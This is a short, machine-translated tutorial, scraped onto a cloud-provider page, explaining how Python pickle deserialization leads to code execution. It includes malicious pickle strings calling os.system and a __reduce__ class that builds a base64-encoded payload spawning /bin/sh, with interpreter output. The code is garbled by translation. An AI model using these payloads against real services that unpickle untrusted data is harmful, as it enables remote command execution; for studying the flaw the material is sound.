How Python Pickle Works

Source: Internet
Author: User
Tags cos

Pickle

Http://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_WP.pdf

https://blog.nelhage.com/2011/03/exploiting-pickle/

https://lincolnloop.com/blog/playing-pickle-security/

>>> Import Pickletools
>>> print Pickletools.dis ("cos\nsystem\n (S ' ls ~ ' \ntr.")
0:C GLOBAL ' OS system '
One: (MARK
12:s STRING ' ls ~ '
20:t TUPLE (MARK at 11)
21:r REDUCE
22:. STOP
Highest protocol among opcodes = 0
None

>>> Import Cpickle
>>> cpickle.loads ("cos\nsystem\n (S ' uname-a ' \ntr.")
Linux rcm-rsas-v6-dev 3.9.0-aurora #4 SMP PREEMPT Fri June 7 14:50:52 CST i686 Intel (R) Core (TM) i7-2600 CPU @ 3.40GHz Genuineintel Gnu/linux
0

Constructs a simple execution statement, of course, you can also pass the __reduce__ method of the class, which means that the __reduce__ method is used when performing pickle deserialization.

import cpickleimport subprocessimport base64class runbinsh (object):   def _ _reduce__ (self):    return  (subprocess. popen,  (('/bin/sh ',),) Print base64.b64encode (Cpickle.dumps (Runbinsh ())) 

>>> class RunBinSh1 (object):
... def __reduce__ (self):
... return (subprocess. Popen, ((' uname ',),))
...
>>> Print (Cpickle.dumps (RUNBINSH1 ()))
Csubprocess
Popen
P1
(S ' uname '
Tp2
Tp3
Rp4
.

>>> Print Cpickle.loads ((Cpickle.dumps (RUNBINSH1 ()))
<subprocess. Popen Object at 0xb70cebac>
>>> Linux

This makes it easy to construct loads statements.


How Python Pickle Works

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.